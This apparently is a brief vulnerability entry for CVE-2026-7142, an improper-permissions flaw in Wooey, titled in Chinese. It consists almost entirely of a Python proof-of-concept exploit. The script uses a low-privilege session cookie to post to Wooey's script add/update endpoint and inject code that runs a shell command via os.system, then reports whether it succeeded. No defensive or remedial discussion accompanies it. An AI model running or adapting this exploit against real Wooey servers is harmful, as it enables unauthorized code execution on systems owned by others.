CVE-2026-7142 Wooey权限不当漏洞

import requests # Target URL example url = "http://target-host/api/scripts/add_or_update_script" # Attacker's payload (manipulated script data) payload = { "script_name": "exploit_script", "content": "import os; os.system('whoami')" } # Low-privilege user credentials cookies = { "sessionid": "low_privilege_session_cookie" } # Send malicious request response = requests.post(url, json=payload, cookies=cookies) if response.status_code == 200: print("[+] Exploit successful! Script updated without proper authorization.") else: print("[-] Exploit failed.")